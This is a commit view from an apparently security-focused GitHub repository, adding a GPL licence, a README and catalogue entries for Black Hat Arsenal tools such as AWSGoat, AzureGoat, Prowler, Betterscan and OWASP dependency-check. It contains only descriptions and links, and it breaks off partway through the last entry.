This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.
JavaScript algorithmsartificial-intelligencebugbountycryptographycyber-threat-intelligencecybersecurity-projectsethical-hackinghacking-toolsmalwarenessusnetwork-monitoringnetwork-securitynmapportscannerpythonpythonprojectsthreat-intelligencevirus-scanning
commit
aw-junaid71e1f3c1d7ab
diff --git a/Penetration Testing/Blackhat Arsenal Tools/LICENSE b/Penetration Testing/Blackhat Arsenal Tools/LICENSEnew file mode 100644index 0000000..278cdb2--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/LICENSE@@ -0,0 +1,674 @@+ GNU GENERAL PUBLIC LICENSE+ Version 3, 29 June 2007++ Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>+ Everyone is permitted to copy and distribute verbatim copies+ of this license document, but changing it is not allowed.++ Preamble++ The GNU General Public License is a free, copyleft license for+software and other kinds of works.++ The licenses for most software and other practical works are designed+to take away your freedom to share and change the works. By contrast,+the GNU General Public License is intended to guarantee your freedom to+share and change all versions of a program--to make sure it remains free+software for all its users. We, the Free Software Foundation, use the+GNU General Public License for most of our software; it applies also to+any other work released this way by its authors. You can apply it to+your programs, too.++ When we speak of free software, we are referring to freedom, not+price. Our General Public Licenses are designed to make sure that you+have the freedom to distribute copies of free software (and charge for+them if you wish), that you receive source code or can get it if you+want it, that you can change the software or use pieces of it in new+free programs, and that you know you can do these things.++ To protect your rights, we need to prevent others from denying you+these rights or asking you to surrender the rights. Therefore, you have+certain responsibilities if you distribute copies of the software, or if+you modify it: responsibilities to respect the freedom of others.++ For example, if you distribute copies of such a program, whether+gratis or for a fee, you must pass on to the recipients the same+freedoms that you received. You must make sure that they, too, receive+or can get the source code. And you must show them these terms so they+know their rights.++ Developers that use the GNU GPL protect your rights with two steps:+(1) assert copyright on the software, and (2) offer you this License+giving you legal permission to copy, distribute and/or modify it.++ For the developers' and authors' protection, the GPL clearly explains+that there is no warranty for this free software. For both users' and+authors' sake, the GPL requires that modified versions be marked as+changed, so that their problems will not be attributed erroneously to+authors of previous versions.++ Some devices are designed to deny users access to install or run+modified versions of the software inside them, although the manufacturer+can do so. This is fundamentally incompatible with the aim of+protecting users' freedom to change the software. The systematic+pattern of such abuse occurs in the area of products for individuals to+use, which is precisely where it is most unacceptable. Therefore, we+have designed this version of the GPL to prohibit the practice for those+products. If such problems arise substantially in other domains, we+stand ready to extend this provision to those domains in future versions+of the GPL, as needed to protect the freedom of users.++ Finally, every program is threatened constantly by software patents.+States should not allow patents to restrict development and use of+software on general-purpose computers, but in those that do, we wish to+avoid the special danger that patents applied to a free program could+make it effectively proprietary. To prevent this, the GPL assures that+patents cannot be used to render the program non-free.++ The precise terms and conditions for copying, distribution and+modification follow.++ TERMS AND CONDITIONS++ 0. Definitions.++ "This License" refers to version 3 of the GNU General Public License.++ "Copyright" also means copyright-like laws that apply to other kinds of+works, such as semiconductor masks.++ "The Program" refers to any copyrightable work licensed under this+License. Each licensee is addressed as "you". "Licensees" and+"recipients" may be individuals or organizations.++ To "modify" a work means to copy from or adapt all or part of the work+in a fashion requiring copyright permission, other than the making of an+exact copy. The resulting work is called a "modified version" of the+earlier work or a work "based on" the earlier work.++ A "covered work" means either the unmodified Program or a work based+on the Program.++ To "propagate" a work means to do anything with it that, without+permission, would make you directly or secondarily liable for+infringement under applicable copyright law, except executing it on a+computer or modifying a private copy. Propagation includes copying,+distribution (with or without modification), making available to the+public, and in some countries other activities as well.++ To "convey" a work means any kind of propagation that enables other+parties to make or receive copies. Mere interaction with a user through+a computer network, with no transfer of a copy, is not conveying.++ An interactive user interface displays "Appropriate Legal Notices"+to the extent that it includes a convenient and prominently visible+feature that (1) displays an appropriate copyright notice, and (2)+tells the user that there is no warranty for the work (except to the+extent that warranties are provided), that licensees may convey the+work under this License, and how to view a copy of this License. If+the interface presents a list of user commands or options, such as a+menu, a prominent item in the list meets this criterion.++ 1. Source Code.++ The "source code" for a work means the preferred form of the work+for making modifications to it. "Object code" means any non-source+form of a work.++ A "Standard Interface" means an interface that either is an official+standard defined by a recognized standards body, or, in the case of+interfaces specified for a particular programming language, one that+is widely used among developers working in that language.++ The "System Libraries" of an executable work include anything, other+than the work as a whole, that (a) is included in the normal form of+packaging a Major Component, but which is not part of that Major+Component, and (b) serves only to enable use of the work with that+Major Component, or to implement a Standard Interface for which an+implementation is available to the public in source code form. A+"Major Component", in this context, means a major essential component+(kernel, window system, and so on) of the specific operating system+(if any) on which the executable work runs, or a compiler used to+produce the work, or an object code interpreter used to run it.++ The "Corresponding Source" for a work in object code form means all+the source code needed to generate, install, and (for an executable+work) run the object code and to modify the work, including scripts to+control those activities. However, it does not include the work's+System Libraries, or general-purpose tools or generally available free+programs which are used unmodified in performing those activities but+which are not part of the work. For example, Corresponding Source+includes interface definition files associated with source files for+the work, and the source code for shared libraries and dynamically+linked subprograms that the work is specifically designed to require,+such as by intimate data communication or control flow between those+subprograms and other parts of the work.++ The Corresponding Source need not include anything that users+can regenerate automatically from other parts of the Corresponding+Source.++ The Corresponding Source for a work in source code form is that+same work.++ 2. Basic Permissions.++ All rights granted under this License are granted for the term of+copyright on the Program, and are irrevocable provided the stated+conditions are met. This License explicitly affirms your unlimited+permission to run the unmodified Program. The output from running a+covered work is covered by this License only if the output, given its+content, constitutes a covered work. This License acknowledges your+rights of fair use or other equivalent, as provided by copyright law.++ You may make, run and propagate covered works that you do not+convey, without conditions so long as your license otherwise remains+in force. You may convey covered works to others for the sole purpose+of having them make modifications exclusively for you, or provide you+with facilities for running those works, provided that you comply with+the terms of this License in conveying all material for which you do+not control copyright. Those thus making or running the covered works+for you must do so exclusively on your behalf, under your direction+and control, on terms that prohibit them from making any copies of+your copyrighted material outside their relationship with you.++ Conveying under any other circumstances is permitted solely under+the conditions stated below. Sublicensing is not allowed; section 10+makes it unnecessary.++ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.++ No covered work shall be deemed part of an effective technological+measure under any applicable law fulfilling obligations under article+11 of the WIPO copyright treaty adopted on 20 December 1996, or+similar laws prohibiting or restricting circumvention of such+measures.++ When you convey a covered work, you waive any legal power to forbid+circumvention of technological measures to the extent such circumvention+is effected by exercising rights under this License with respect to+the covered work, and you disclaim any intention to limit operation or+modification of the work as a means of enforcing, against the work's+users, your or third parties' legal rights to forbid circumvention of+technological measures.++ 4. Conveying Verbatim Copies.++ You may convey verbatim copies of the Program's source code as you+receive it, in any medium, provided that you conspicuously and+appropriately publish on each copy an appropriate copyright notice;+keep intact all notices stating that this License and any+non-permissive terms added in accord with section 7 apply to the code;+keep intact all notices of the absence of any warranty; and give all+recipients a copy of this License along with the Program.++ You may charge any price or no price for each copy that you convey,+and you may offer support or warranty protection for a fee.++ 5. Conveying Modified Source Versions.++ You may convey a work based on the Program, or the modifications to+produce it from the Program, in the form of source code under the+terms of section 4, provided that you also meet all of these conditions:++ a) The work must carry prominent notices stating that you modified+ it, and giving a relevant date.++ b) The work must carry prominent notices stating that it is+ released under this License and any conditions added under section+ 7. This requirement modifies the requirement in section 4 to+ "keep intact all notices".++ c) You must license the entire work, as a whole, under this+ License to anyone who comes into possession of a copy. This+ License will therefore apply, along with any applicable section 7+ additional terms, to the whole of the work, and all its parts,+ regardless of how they are packaged. This License gives no+ permission to license the work in any other way, but it does not+ invalidate such permission if you have separately received it.++ d) If the work has interactive user interfaces, each must display+ Appropriate Legal Notices; however, if the Program has interactive+ interfaces that do not display Appropriate Legal Notices, your+ work need not make them do so.++ A compilation of a covered work with other separate and independent+works, which are not by their nature extensions of the covered work,+and which are not combined with it such as to form a larger program,+in or on a volume of a storage or distribution medium, is called an+"aggregate" if the compilation and its resulting copyright are not+used to limit the access or legal rights of the compilation's users+beyond what the individual works permit. Inclusion of a covered work+in an aggregate does not cause this License to apply to the other+parts of the aggregate.++ 6. Conveying Non-Source Forms.++ You may convey a covered work in object code form under the terms+of sections 4 and 5, provided that you also convey the+machine-readable Corresponding Source under the terms of this License,+in one of these ways:++ a) Convey the object code in, or embodied in, a physical product+ (including a physical distribution medium), accompanied by the+ Corresponding Source fixed on a durable physical medium+ customarily used for software interchange.++ b) Convey the object code in, or embodied in, a physical product+ (including a physical distribution medium), accompanied by a+ written offer, valid for at least three years and valid for as+ long as you offer spare parts or customer support for that product+ model, to give anyone who possesses the object code either (1) a+ copy of the Corresponding Source for all the software in the+ product that is covered by this License, on a durable physical+ medium customarily used for software interchange, for a price no+ more than your reasonable cost of physically performing this+ conveying of source, or (2) access to copy the+ Corresponding Source from a network server at no charge.++ c) Convey individual copies of the object code with a copy of the+ written offer to provide the Corresponding Source. This+ alternative is allowed only occasionally and noncommercially, and+ only if you received the object code with such an offer, in accord+ with subsection 6b.++ d) Convey the object code by offering access from a designated+ place (gratis or for a charge), and offer equivalent access to the+ Corresponding Source in the same way through the same place at no+ further charge. You need not require recipients to copy the+ Corresponding Source along with the object code. If the place to+ copy the object code is a network server, the Corresponding Source+ may be on a different server (operated by you or a third party)+ that supports equivalent copying facilities, provided you maintain+ clear directions next to the object code saying where to find the+ Corresponding Source. Regardless of what server hosts the+ Corresponding Source, you remain obligated to ensure that it is+ available for as long as needed to satisfy these requirements.++ e) Convey the object code using peer-to-peer transmission, provided+ you inform other peers where the object code and Corresponding+ Source of the work are being offered to the general public at no+ charge under subsection 6d.++ A separable portion of the object code, whose source code is excluded+from the Corresponding Source as a System Library, need not be+included in conveying the object code work.++ A "User Product" is either (1) a "consumer product", which means any+tangible personal property which is normally used for personal, family,+or household purposes, or (2) anything designed or sold for incorporation+into a dwelling. In determining whether a product is a consumer product,+doubtful cases shall be resolved in favor of coverage. For a particular+product received by a particular user, "normally used" refers to a+typical or common use of that class of product, regardless of the status+of the particular user or of the way in which the particular user+actually uses, or expects or is expected to use, the product. A product+is a consumer product regardless of whether the product has substantial+commercial, industrial or non-consumer uses, unless such uses represent+the only significant mode of use of the product.++ "Installation Information" for a User Product means any methods,+procedures, authorization keys, or other information required to install+and execute modified versions of a covered work in that User Product from+a modified version of its Corresponding Source. The information must+suffice to ensure that the continued functioning of the modified object+code is in no case prevented or interfered with solely because+modification has been made.++ If you convey an object code work under this section in, or with, or+specifically for use in, a User Product, and the conveying occurs as+part of a transaction in which the right of possession and use of the+User Product is transferred to the recipient in perpetuity or for a+fixed term (regardless of how the transaction is characterized), the+Corresponding Source conveyed under this section must be accompanied+by the Installation Information. But this requirement does not apply+if neither you nor any third party retains the ability to install+modified object code on the User Product (for example, the work has+been installed in ROM).++ The requirement to provide Installation Information does not include a+requirement to continue to provide support service, warranty, or updates+for a work that has been modified or installed by the recipient, or for+the User Product in which it has been modified or installed. Access to a+network may be denied when the modification itself materially and+adversely affects the operation of the network or violates the rules and+protocols for communication across the network.++ Corresponding Source conveyed, and Installation Information provided,+in accord with this section must be in a format that is publicly+documented (and with an implementation available to the public in+source code form), and must require no special password or key for+unpacking, reading or copying.++ 7. Additional Terms.++ "Additional permissions" are terms that supplement the terms of this+License by making exceptions from one or more of its conditions.+Additional permissions that are applicable to the entire Program shall+be treated as though they were included in this License, to the extent+that they are valid under applicable law. If additional permissions+apply only to part of the Program, that part may be used separately+under those permissions, but the entire Program remains governed by+this License without regard to the additional permissions.++ When you convey a copy of a covered work, you may at your option+remove any additional permissions from that copy, or from any part of+it. (Additional permissions may be written to require their own+removal in certain cases when you modify the work.) You may place+additional permissions on material, added by you to a covered work,+for which you have or can give appropriate copyright permission.++ Notwithstanding any other provision of this License, for material you+add to a covered work, you may (if authorized by the copyright holders of+that material) supplement the terms of this License with terms:++ a) Disclaiming warranty or limiting liability differently from the+ terms of sections 15 and 16 of this License; or++ b) Requiring preservation of specified reasonable legal notices or+ author attributions in that material or in the Appropriate Legal+ Notices displayed by works containing it; or++ c) Prohibiting misrepresentation of the origin of that material, or+ requiring that modified versions of such material be marked in+ reasonable ways as different from the original version; or++ d) Limiting the use for publicity purposes of names of licensors or+ authors of the material; or++ e) Declining to grant rights under trademark law for use of some+ trade names, trademarks, or service marks; or++ f) Requiring indemnification of licensors and authors of that+ material by anyone who conveys the material (or modified versions of+ it) with contractual assumptions of liability to the recipient, for+ any liability that these contractual assumptions directly impose on+ those licensors and authors.++ All other non-permissive additional terms are considered "further+restrictions" within the meaning of section 10. If the Program as you+received it, or any part of it, contains a notice stating that it is+governed by this License along with a term that is a further+restriction, you may remove that term. If a license document contains+a further restriction but permits relicensing or conveying under this+License, you may add to a covered work material governed by the terms+of that license document, provided that the further restriction does+not survive such relicensing or conveying.++ If you add terms to a covered work in accord with this section, you+must place, in the relevant source files, a statement of the+additional terms that apply to those files, or a notice indicating+where to find the applicable terms.++ Additional terms, permissive or non-permissive, may be stated in the+form of a separately written license, or stated as exceptions;+the above requirements apply either way.++ 8. Termination.++ You may not propagate or modify a covered work except as expressly+provided under this License. Any attempt otherwise to propagate or+modify it is void, and will automatically terminate your rights under+this License (including any patent licenses granted under the third+paragraph of section 11).++ However, if you cease all violation of this License, then your+license from a particular copyright holder is reinstated (a)+provisionally, unless and until the copyright holder explicitly and+finally terminates your license, and (b) permanently, if the copyright+holder fails to notify you of the violation by some reasonable means+prior to 60 days after the cessation.++ Moreover, your license from a particular copyright holder is+reinstated permanently if the copyright holder notifies you of the+violation by some reasonable means, this is the first time you have+received notice of violation of this License (for any work) from that+copyright holder, and you cure the violation prior to 30 days after+your receipt of the notice.++ Termination of your rights under this section does not terminate the+licenses of parties who have received copies or rights from you under+this License. If your rights have been terminated and not permanently+reinstated, you do not qualify to receive new licenses for the same+material under section 10.++ 9. Acceptance Not Required for Having Copies.++ You are not required to accept this License in order to receive or+run a copy of the Program. Ancillary propagation of a covered work+occurring solely as a consequence of using peer-to-peer transmission+to receive a copy likewise does not require acceptance. However,+nothing other than this License grants you permission to propagate or+modify any covered work. These actions infringe copyright if you do+not accept this License. Therefore, by modifying or propagating a+covered work, you indicate your acceptance of this License to do so.++ 10. Automatic Licensing of Downstream Recipients.++ Each time you convey a covered work, the recipient automatically+receives a license from the original licensors, to run, modify and+propagate that work, subject to this License. You are not responsible+for enforcing compliance by third parties with this License.++ An "entity transaction" is a transaction transferring control of an+organization, or substantially all assets of one, or subdividing an+organization, or merging organizations. If propagation of a covered+work results from an entity transaction, each party to that+transaction who receives a copy of the work also receives whatever+licenses to the work the party's predecessor in interest had or could+give under the previous paragraph, plus a right to possession of the+Corresponding Source of the work from the predecessor in interest, if+the predecessor has it or can get it with reasonable efforts.++ You may not impose any further restrictions on the exercise of the+rights granted or affirmed under this License. For example, you may+not impose a license fee, royalty, or other charge for exercise of+rights granted under this License, and you may not initiate litigation+(including a cross-claim or counterclaim in a lawsuit) alleging that+any patent claim is infringed by making, using, selling, offering for+sale, or importing the Program or any portion of it.++ 11. Patents.++ A "contributor" is a copyright holder who authorizes use under this+License of the Program or a work on which the Program is based. The+work thus licensed is called the contributor's "contributor version".++ A contributor's "essential patent claims" are all patent claims+owned or controlled by the contributor, whether already acquired or+hereafter acquired, that would be infringed by some manner, permitted+by this License, of making, using, or selling its contributor version,+but do not include claims that would be infringed only as a+consequence of further modification of the contributor version. For+purposes of this definition, "control" includes the right to grant+patent sublicenses in a manner consistent with the requirements of+this License.++ Each contributor grants you a non-exclusive, worldwide, royalty-free+patent license under the contributor's essential patent claims, to+make, use, sell, offer for sale, import and otherwise run, modify and+propagate the contents of its contributor version.++ In the following three paragraphs, a "patent license" is any express+agreement or commitment, however denominated, not to enforce a patent+(such as an express permission to practice a patent or covenant not to+sue for patent infringement). To "grant" such a patent license to a+party means to make such an agreement or commitment not to enforce a+patent against the party.++ If you convey a covered work, knowingly relying on a patent license,+and the Corresponding Source of the work is not available for anyone+to copy, free of charge and under the terms of this License, through a+publicly available network server or other readily accessible means,+then you must either (1) cause the Corresponding Source to be so+available, or (2) arrange to deprive yourself of the benefit of the+patent license for this particular work, or (3) arrange, in a manner+consistent with the requirements of this License, to extend the patent+license to downstream recipients. "Knowingly relying" means you have+actual knowledge that, but for the patent license, your conveying the+covered work in a country, or your recipient's use of the covered work+in a country, would infringe one or more identifiable patents in that+country that you have reason to believe are valid.++ If, pursuant to or in connection with a single transaction or+arrangement, you convey, or propagate by procuring conveyance of, a+covered work, and grant a patent license to some of the parties+receiving the covered work authorizing them to use, propagate, modify+or convey a specific copy of the covered work, then the patent license+you grant is automatically extended to all recipients of the covered+work and works based on it.++ A patent license is "discriminatory" if it does not include within+the scope of its coverage, prohibits the exercise of, or is+conditioned on the non-exercise of one or more of the rights that are+specifically granted under this License. You may not convey a covered+work if you are a party to an arrangement with a third party that is+in the business of distributing software, under which you make payment+to the third party based on the extent of your activity of conveying+the work, and under which the third party grants, to any of the+parties who would receive the covered work from you, a discriminatory+patent license (a) in connection with copies of the covered work+conveyed by you (or copies made from those copies), or (b) primarily+for and in connection with specific products or compilations that+contain the covered work, unless you entered into that arrangement,+or that patent license was granted, prior to 28 March 2007.++ Nothing in this License shall be construed as excluding or limiting+any implied license or other defenses to infringement that may+otherwise be available to you under applicable patent law.++ 12. No Surrender of Others' Freedom.++ If conditions are imposed on you (whether by court order, agreement or+otherwise) that contradict the conditions of this License, they do not+excuse you from the conditions of this License. If you cannot convey a+covered work so as to satisfy simultaneously your obligations under this+License and any other pertinent obligations, then as a consequence you may+not convey it at all. For example, if you agree to terms that obligate you+to collect a royalty for further conveying from those to whom you convey+the Program, the only way you could satisfy both those terms and this+License would be to refrain entirely from conveying the Program.++ 13. Use with the GNU Affero General Public License.++ Notwithstanding any other provision of this License, you have+permission to link or combine any covered work with a work licensed+under version 3 of the GNU Affero General Public License into a single+combined work, and to convey the resulting work. The terms of this+License will continue to apply to the part which is the covered work,+but the special requirements of the GNU Affero General Public License,+section 13, concerning interaction through a network will apply to the+combination as such.++ 14. Revised Versions of this License.++ The Free Software Foundation may publish revised and/or new versions of+the GNU General Public License from time to time. Such new versions will+be similar in spirit to the present version, but may differ in detail to+address new problems or concerns.++ Each version is given a distinguishing version number. If the+Program specifies that a certain numbered version of the GNU General+Public License "or any later version" applies to it, you have the+option of following the terms and conditions either of that numbered+version or of any later version published by the Free Software+Foundation. If the Program does not specify a version number of the+GNU General Public License, you may choose any version ever published+by the Free Software Foundation.++ If the Program specifies that a proxy can decide which future+versions of the GNU General Public License can be used, that proxy's+public statement of acceptance of a version permanently authorizes you+to choose that version for the Program.++ Later license versions may give you additional or different+permissions. However, no additional obligations are imposed on any+author or copyright holder as a result of your choosing to follow a+later version.++ 15. Disclaimer of Warranty.++ THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY+APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR+PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM+IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.++ 16. Limitation of Liability.++ IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF+SUCH DAMAGES.++ 17. Interpretation of Sections 15 and 16.++ If the disclaimer of warranty and limitation of liability provided+above cannot be given local legal effect according to their terms,+reviewing courts shall apply local law that most closely approximates+an absolute waiver of all civil liability in connection with the+Program, unless a warranty or assumption of liability accompanies a+copy of the Program in return for a fee.++ END OF TERMS AND CONDITIONS++ How to Apply These Terms to Your New Programs++ If you develop a new program, and you want it to be of the greatest+possible use to the public, the best way to achieve this is to make it+free software which everyone can redistribute and change under these terms.++ To do so, attach the following notices to the program. It is safest+to attach them to the start of each source file to most effectively+state the exclusion of warranty; and each file should have at least+the "copyright" line and a pointer to where the full notice is found.++ {one line to give the program's name and a brief idea of what it does.}+ Copyright (C) {year} {name of author}++ This program is free software: you can redistribute it and/or modify+ it under the terms of the GNU General Public License as published by+ the Free Software Foundation, either version 3 of the License, or+ (at your option) any later version.++ This program is distributed in the hope that it will be useful,+ but WITHOUT ANY WARRANTY; without even the implied warranty of+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the+ GNU General Public License for more details.++ You should have received a copy of the GNU General Public License+ along with this program. If not, see <http://www.gnu.org/licenses/>.++Also add information on how to contact you by electronic and paper mail.++ If the program does terminal interaction, make it output a short+notice like this when it starts in an interactive mode:++ Black Hat Arsenal Github Tools Copyright (C) 2017 ToolsWatch.org+ This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.+ This is free software, and you are welcome to redistribute it+ under certain conditions; type `show c' for details.++The hypothetical commands `show w' and `show c' should show the appropriate+parts of the General Public License. Of course, your program's commands+might be different; for a GUI interface, you would use an "about box".++ You should also get your employer (if you work as a programmer) or school,+if any, to sign a "copyright disclaimer" for the program, if necessary.+For more information on this, and how to apply and follow the GNU GPL, see+<http://www.gnu.org/licenses/>.++ The GNU General Public License does not permit incorporating your program+into proprietary programs. If your program is a subroutine library, you+may consider it more useful to permit linking proprietary applications with+the library. If this is what you want to do, use the GNU Lesser General+Public License instead of this License. But first, please read+<http://www.gnu.org/philosophy/why-not-lgpl.html>.diff --git a/Penetration Testing/Blackhat Arsenal Tools/README.md b/Penetration Testing/Blackhat Arsenal Tools/README.mdnew file mode 100644index 0000000..28bdc50--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/README.md@@ -0,0 +1,26 @@+# Official Black Hat Arsenal Tools Github Repository++++This github account maps to the Black Hat Arsenal tools since its inception in 2011.+For readibility, the tools are classified by category and not by session.++This account is maintained by NJ OUCHN from [ToolsWatch.org](https://www.toolswatch.org) the official co-founder & organizer of the Black Hat Arsenal event+++**Disclaimer**: Tools not demonstrated during a Black Hat Arsenal session will not be accepted++### How to Submit ?++Submit your template to the **most one representative categor**y as a pull request. After review, we will reflect the change on the repo.+Use the given template `tool_name.md` .+Change tool_name.md to your tool name (ex: lynis.md)++### Missing a category ?++If you think we missed a category, do not hesitate to contact us (or push request).++### Contact us++* [Twitter](https://twitter.com/toolswatch)+* [Email](mailto:[email protected])diff --git a/Penetration Testing/Blackhat Arsenal Tools/cloud/awsgoat.md b/Penetration Testing/Blackhat Arsenal Tools/cloud/awsgoat.mdnew file mode 100644index 0000000..6c9d98f--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/cloud/awsgoat.md@@ -0,0 +1,29 @@+# AWSGoat++### Description+Compromising an organization's cloud infrastructure is like sitting on a gold mine for attackers. And sometimes, a simple misconfiguration or a vulnerability in web applications, is all an attacker needs to compromise the entire infrastructure. Since the cloud is relatively new, many developers are not fully aware of the threatscape and they end up deploying a vulnerable cloud infrastructure.++AWSGoat is a vulnerable by design infrastructure on AWS featuring the latest released OWASP Top 10 web application security risks (2021) and other misconfiguration based on services such as IAM, S3, API Gateway, Lambda, EC2, and ECS. AWSGoat mimics real-world infrastructure but with added vulnerabilities. It features multiple escalation paths and is focused on a black-box approach.++The project will be divided into modules and each module will be a separate web application, powered by varied tech stacks and development practices. It will leverage IaC through terraform and GitHub actions to ease the deployment process.++### Categories+* Cloud Security+* Serverless Application Security++### Black Hat sessions+[](https://www.blackhat.com/us-22/arsenal/schedule/index.html#awsgoat--a-damn-vulnerable-aws-infrastructure-27999)+++### Code+https://github.com/ine-labs/AWSGoat++### Lead Developers+* Jeswin Mathai - INE https://github.com/jeswinMathai+* Nishant Sharma - INE https://github.com/nishantsharmax+* Sanjeev Mahunta - INE https://github.com/s-mahunta+* Shantanu Kale - INE https://github.com/SSKale1++### Social Media+* [Twitter](https://twitter.com/ine)+* [Company Website](https://ine.com/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/cloud/azuregoat.md b/Penetration Testing/Blackhat Arsenal Tools/cloud/azuregoat.mdnew file mode 100644index 0000000..59a73b5--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/cloud/azuregoat.md@@ -0,0 +1,28 @@+# AzureGoat++### Description+Compromising an organization's cloud infrastructure is like sitting on a gold mine for attackers. And sometimes, a simple misconfiguration or a vulnerability in web applications, is all an attacker needs to compromise the entire infrastructure. Since the cloud is relatively new, many developers are not fully aware of the threatscape and they end up deploying a vulnerable cloud infrastructure. Microsoft Azure cloud has become the second-largest vendor by market share in the cloud infrastructure providers (as per multiple reports), just behind AWS. There are numerous tools and vulnerable applications available for AWS for the security professional to perform attack/defense practices, but it is not the case with Azure. There are far fewer options available to the community.++AzureGoat is a vulnerable by design infrastructure on Azure featuring the latest released OWASP Top 10 web application security risks (2021) and other misconfiguration based on services such as App Functions, CosmosDB, Storage Accounts, Automation and Identities. AzureGoat mimics real-world infrastructure but with added vulnerabilities. It features multiple escalation paths and is focused on a black-box approach.++### Categories+* Cloud Security+* Serverless Application Security++### Black Hat sessions+[](https://www.blackhat.com/us-22/arsenal/schedule/index.html#azuregoat--a-damn-vulnerable-azure-infrastructure-28000)++### Code+https://github.com/ine-labs/AzureGoat++### Lead Developers+* Nishant Sharma - INE https://github.com/nishantsharmax+* Jeswin Mathai - INE https://github.com/jeswinMathai+* Sherin Stephen - INE https://github.com/sherinsteph+* Rachna Umaraniya - INE https://github.com/Rachnaumaraniya+* Shantanu Kale - INE https://github.com/SSKale1+* Sanjeev Mahunta - INE https://github.com/s-mahunta++### Social Media+* [Twitter](https://twitter.com/ine)+* [Company Website](https://ine.com/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/cloud/prowler.md b/Penetration Testing/Blackhat Arsenal Tools/cloud/prowler.mdnew file mode 100644index 0000000..66083d6--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/cloud/prowler.md@@ -0,0 +1,32 @@+# Prowler++### Description+Prowler is an Open Source Security tool for AWS, Azure and GCP to perform Cloud Security best practices assessments, audits, incident response, compliance, continuous monitoring, hardening and forensics readiness. Includes CIS, NIST 800, NIST CSF, CISA, FedRAMP, PCI-DSS, GDPR, HIPAA, FFIEC, SOC2, GXP, Well-Architected Security, ENS and more.++### Categories+* Cloud Security+* Hardening+* Vulnerability Assessment+* Serverless Application Security+* Compliance+* Pentesting+* Incident Response++### Black Hat sessions+[](https://www.blackhat.com/us-23/arsenal/schedule/index.html#prowler-open-source-for-multi-cloud-security-assessments-and-pentesting-32103)++[](https://www.blackhat.com/eu-22/arsenal/schedule/index.html#prowler-v-the-handy-multi-cloud-security-tool-29612)+### Code+https://github.com/prowler-cloud/prowler++### Lead Developers+* Toni de la Fuente - Prowler https://github.com/toniblyx+* Pepe Fagoaga - Prowler https://github.com/jfagoagas+* Nacho Rivera - Prowler https://github.com/n4ch04+* Sergio Garcia - Prowler https://github.com/sergargar+* Drew Kerrigan - Prowler https://github.com/drewkerrigan+* Jon Young - Prowler https://github.com/thejaywhy++### Social Media+* [Twitter](https://twitter.com/toniblyx)+* [Company Website](https://prowler.pro/)diff --git a/Penetration Testing/Blackhat Arsenal Tools/code_assessment/betterscan.md b/Penetration Testing/Blackhat Arsenal Tools/code_assessment/betterscan.mdnew file mode 100644index 0000000..676958b--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/code_assessment/betterscan.md@@ -0,0 +1,27 @@+# Betterscan++### Description+Betterscan is a simple and powerful software to automate thousands of checks (orchestration) and eliminate human errors in Code and Cloud Infrastructure. Our software uses multiple very known and state of the art Open Source components as plugins (in that sense it is a "wrapper", "Meta" scanner) and provides you with unified one report and very fast results due to using of project state (no need to rescan the whole project every time) and unification (no duplicates). Software is very modular and any Open Source tool or proprietary check can be added as a plugin. Supports all major Programming languages and Cloud technologies. Software is available as Open Source in Community Edition and paid Professional/Business variants.+++### Categories+* Code Assessment+* Cloud+++#### BlackHat Arsenal Sessions++[Black Hat MEA Arsenal 2022](https://blackhatmea.com/blackhat-arsenal)+++### Code+[https://github.com/marcinguy/betterscan-ce](https://github.com/marcinguy/betterscan-ce)++### Documentation+https://github.com/marcinguy/betterscan-ce/wiki++### Lead Developer+* Marcin Kozlowski ([@marcinguy](https://twitter.com/marcinguy))++### Social Media+* [Twitter](https://twitter.com/betterscan)diff --git a/Penetration Testing/Blackhat Arsenal Tools/code_assessment/owasp_dependency_check.md b/Penetration Testing/Blackhat Arsenal Tools/code_assessment/owasp_dependency_check.mdnew file mode 100644index 0000000..672ccc0--- /dev/null+++ b/Penetration Testing/Blackhat Arsenal Tools/code_assessment/owasp_dependency_check.md@@ -0,0 +1,30 @@+# OWASP dependency-check++### Description+Dependency-Check is a Software Composition Analysis tool that identifies project dependencies and checks if there are+any known, publicly disclosed, vulnerabilities. The tool can be part of a solution to the+[OWASP Top 10 2017 A9:2017-Using Components with Known Vulnerabilities](https://www.owasp.org/index.php/Top_10-2017_Top_10).++### Categories+* Code Assessment+* Software Composition Analysis++#### BlackHat Arsenal 